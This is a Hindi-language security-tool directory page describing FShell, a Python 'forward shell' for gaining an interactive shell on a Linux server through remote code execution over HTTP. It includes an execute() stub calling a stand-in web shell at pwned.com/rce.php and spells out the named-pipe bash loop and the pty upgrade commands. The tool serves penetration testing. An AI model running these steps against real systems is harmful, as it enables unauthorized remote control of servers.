Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
FShell — Forward Shell का मेरा python3 कार्यान्वयन | Kitploit
उपकरण/GitHubGitHub/hypnoze57/fshell
शोषणपोस्ट-शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंगरिमोट एक्सेस टूल
GitHubhypnoze57/fshell

FShell

Forward Shell का मेरा python3 कार्यान्वयन

रिपॉजिटरी देखें
3857 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

FShell

विवरण

FShell, फॉरवर्ड शेल का मेरा कार्यान्वयन (implementation) है। इसे एक स्टेजलेस प्रोटोकॉल (जैसे HTTP) के माध्यम से रिमोट कोड एक्ज़ीक्यूशन का उपयोग करके एक इंटरैक्टिव tty प्राप्त करने के लिए डिज़ाइन किया गया है।

मुझे फॉरवर्ड शेल का उपयोग क्यों करना चाहिए?

  • रिमोट सर्वर इंटरनेट तक नहीं पहुंच सकता, रिवर्स शेल की कोई संभावना नहीं है
  • मैं नहीं चाहता कि सर्वर नया आउटगोइंग कनेक्शन शुरू करे या नई सेवा एक्सपोज़ करे (केवल कमजोर/असुरक्षित एक्सपोज़्ड सेवा का उपयोग करें)

हालांकि, इसके नुकसान भी हैं:

  • प्रति सेकंड कई अनुरोध (वेब सर्वर के मामले में, यह बहुत सारे एक्सेस लॉग उत्पन्न करेगा)
  • पूरी तरह से इंटरैक्टिव नहीं: कोई ऑटो-कम्प्लीशन नहीं (यह सैद्धांतिक रूप से लागू किया जा सकता है, लेकिन इससे बहुत अधिक संख्या में अनुरोध उत्पन्न होंगे), याद रखें कि आपका इनपुट पहले पायथन स्क्रिप्ट में भेजा जाता है, फिर रिमोट सर्वर पर।

अनुरोधों की आवृत्ति को BEACONING_DELAY वेरिएबल को संशोधित करके बदला जा सकता है।

आवश्यकताएँ

हमलावर मशीन पर

Python3 और लाइब्रेरी:

  • requests
  • termcolor

टार्गेट पर

इस समय केवल Linux समर्थित है और रिमोट सिस्टम पर निम्नलिखित बुनियादी कमांड/टूल आवश्यक हैं:

  • python2 (और pty मॉड्यूल)
  • bash
  • mkfifo
  • cat
  • tail
  • ps
  • grep
  • awk
  • kill

उपयोग

यदि /tmp लिखने के लिए उपलब्ध नहीं है या आपके पास कुछ बेहतर है (तो /dev/shm पसंद करें), तो WRITABLE_FOLDER वेरिएबल को संशोधित करें।

आपको अपना रिमोट कोड एक्ज़ीक्यूशन करने के लिए execute फ़ंक्शन को अवश्य पुनर्परिभाषित करना होगा:

root@kitploit:~
def execute(cmd, verbose=False, timeout=None):
    """
    :cmd      Raw shell command to execute on the remote system
    :timetout MANDATORY: Used to kill blocking execution loop (used in named pipe creation).
              If you cannot, put named pipe creation in separated thread
    :verbose  Print full cmd executed on the remote system (Debug mode)
    """
    # Put your RCE code here
    r = requests.get('http://pwned.com/rce.php?cmd=%s' % (b64encode(cmd)), timeout=timeout)
    return r.text.strip() # You can apply formating if the output is not only the output of command

कमांड्स

  • help_shell: कमांड्स की मदद प्रिंट करें
  • get_sessid: रिमोट सर्वर पर वर्तमान सत्र आईडी प्रिंट करें
  • upgrade_shell: इंटरैक्टिव शेल बनाने के लिए python का उपयोग करके रिमोट pty प्रारंभ करें
  • exit_shell: रिमोट शेल को 'ठीक से' साफ़ करें। यदि आप पहले उपयोगकर्ता के अलावा किसी अन्य उपयोगकर्ता से जुड़े हैं, तो कृपया पहले सामान्य रूप से बाहर निकलें।

डेमो

FShell डेमो

यह कैसे काम करता है

अवधारणाएँ काफी सरल हैं।

सबसे पहले आपको रिमोट सिस्टम पर एक named pipe बनाना होगा। इसका उपयोग शेल को कमांड भेजने के लिए किया जाएगा
mkfifo /tmp/input।

फिर, एक bash लूप बनाएं जो named pipe को लगातार पढ़े और उसे एक इंटरैक्टिव bash प्रोसेस में भेजे, जो stdin और stderr को एक आउटपुट फ़ाइल में भेजता है।
tail -f /tmp/input | /bin/bash -i > /tmp/output 2>&1

[named pipe पढ़ना] -> [named pipe की सामग्री निष्पादित करना] -> [stdin/stderr को आउटपुट फ़ाइल में भेजना] -> ['-f' tail विकल्प के कारण named pipe पढ़ने पर वापस जाना]

अगला भाग एक python थ्रेड शुरू करना है जो शेल आउटपुट प्राप्त करने के लिए नियमित रूप से cat /tmp/output चलाता है।
यदि थ्रेड को डेटा मिलता है, तो वह आउटपुट फ़ाइल की सामग्री को echo '' > /tmp/output का उपयोग करके साफ़ कर देगा।
सुझाव: गैर-मौजूद फ़ाइल के लिए त्रुटि लॉगिंग से बचने के लिए, स्क्रिप्ट आउटपुट फ़ाइल बनाने हेतु 'GetOutput' थ्रेड शुरू करने से पहले 'id' कमांड निष्पादित करती है।

अंतिम चरणों में से एक है हमारी python स्क्रिप्ट से उपयोगकर्ता इनपुट लेना और उसे named pipe में भेजना
echo USERCMD > /tmp/input

और रिमोट इंटरैक्टिव tty वापस पाने की अंतिम तरकीब 'upgrade_shell' कमांड है। यह कमांड वर्तमान प्रोसेस के लिए एक वास्तविक tty स्पॉन करने हेतु python -c 'import pty;pty.spawn("/bin/bash")' (और कुछ export और aliases) निष्पादित करता है (जिसका उपयोग named pipe लूप में किया जाता है)

धन्यवाद

@ippsec को धन्यवाद, इस वीडियो Stratosphere HTB Write Up को देखने से पहले मुझे नहीं पता था कि ऐसा कुछ संभव है!

आशा है आपको यह पसंद आएगा!

टूल डाउनलोड करें